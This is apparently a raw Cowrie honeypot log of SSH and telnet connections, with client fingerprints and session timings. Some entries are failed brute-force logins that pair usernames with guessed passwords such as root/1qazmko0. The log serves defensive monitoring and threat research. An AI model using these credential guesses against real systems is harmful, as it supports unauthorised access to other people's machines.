{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:27.836611Z","src_ip":"116.110.11.66","session":"8064a33d1704","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.177.3","src_port":37982,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b9a2250394a","protocol":"ssh","message":"New connection: 170.106.177.3:37982 (10.17.0.5:22) [session: 5b9a2250394a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:28.012952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:28.018381Z","src_ip":"170.106.177.3","session":"5b9a2250394a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:28.086921Z","src_ip":"170.106.177.3","session":"5b9a2250394a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:28.128582Z","src_ip":"116.110.11.66","session":"8064a33d1704","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46656,"dst_ip":"10.17.0.5","dst_port":22,"session":"933f7cbcd3d5","protocol":"ssh","message":"New connection: 45.153.34.112:46656 (10.17.0.5:22) [session: 933f7cbcd3d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:28.163145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:28.246016Z","src_ip":"45.153.34.112","session":"933f7cbcd3d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:28.250025Z","src_ip":"45.153.34.112","session":"933f7cbcd3d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"P@ssw0rd","message":"login attempt [sysadmin/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:28.392560Z","src_ip":"170.106.177.3","session":"5b9a2250394a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:28.575951Z","src_ip":"45.153.34.112","session":"933f7cbcd3d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":55608,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f594e1c51d4","protocol":"ssh","message":"New connection: 81.9.145.130:55608 (10.17.0.5:22) [session: 6f594e1c51d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:29.066869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:29.072969Z","src_ip":"81.9.145.130","session":"6f594e1c51d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:29.261021Z","src_ip":"81.9.145.130","session":"6f594e1c51d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:29.463396Z","src_ip":"170.106.177.3","session":"5b9a2250394a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.75305199623108,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:29.542195Z","src_ip":"192.119.13.58","session":"f1f7fffcdbd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:29.660630Z","src_ip":"45.153.34.112","session":"933f7cbcd3d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.96150827407837,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:29.950237Z","src_ip":"192.119.13.58","session":"c92752e5f26d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"usertest","message":"login attempt [root/usertest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:30.049669Z","src_ip":"81.9.145.130","session":"6f594e1c51d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"installer","password":"installer","message":"login attempt [installer/installer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:30.746224Z","src_ip":"116.110.11.66","session":"8064a33d1704","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.112.253","src_port":37532,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8a846579aef","protocol":"ssh","message":"New connection: 43.153.112.253:37532 (10.17.0.5:22) [session: e8a846579aef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:31.167474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:31.172463Z","src_ip":"43.153.112.253","session":"e8a846579aef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:31.177801Z","src_ip":"81.9.145.130","session":"6f594e1c51d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:31.241463Z","src_ip":"43.153.112.253","session":"e8a846579aef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nosceteipsum","message":"login attempt [root/nosceteipsum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:31.546165Z","src_ip":"43.153.112.253","session":"e8a846579aef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":32956,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cb4ee42480a","protocol":"ssh","message":"New connection: 45.153.34.112:32956 (10.17.0.5:22) [session: 3cb4ee42480a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:31.658929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:31.664917Z","src_ip":"45.153.34.112","session":"3cb4ee42480a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:31.748801Z","src_ip":"45.153.34.112","session":"3cb4ee42480a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:31.997399Z","src_ip":"45.153.34.112","session":"3cb4ee42480a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:32.009771Z","src_ip":"116.110.11.66","session":"8064a33d1704","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:32.617838Z","src_ip":"43.153.112.253","session":"e8a846579aef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:33.082880Z","src_ip":"45.153.34.112","session":"3cb4ee42480a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":37242,"dst_ip":"10.17.0.5","dst_port":22,"session":"941879965d6c","protocol":"ssh","message":"New connection: 170.238.160.191:37242 (10.17.0.5:22) [session: 941879965d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:33.390011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:33.394696Z","src_ip":"170.238.160.191","session":"941879965d6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:33.508250Z","src_ip":"170.238.160.191","session":"941879965d6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazmko0","message":"login attempt [root/1qazmko0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:33.993018Z","src_ip":"170.238.160.191","session":"941879965d6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.554779052734375,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:34.534515Z","src_ip":"192.119.13.58","session":"f18cb8d0311e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:35.109899Z","src_ip":"170.238.160.191","session":"941879965d6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":32980,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0f7f0d403bd","protocol":"ssh","message":"New connection: 45.153.34.112:32980 (10.17.0.5:22) [session: a0f7f0d403bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:35.384862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:35.389596Z","src_ip":"45.153.34.112","session":"a0f7f0d403bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:35.475003Z","src_ip":"45.153.34.112","session":"a0f7f0d403bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.022118091583252,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:35.555656Z","src_ip":"16.58.56.214","session":"c61df8bd21d3","protocol":"telnet"}
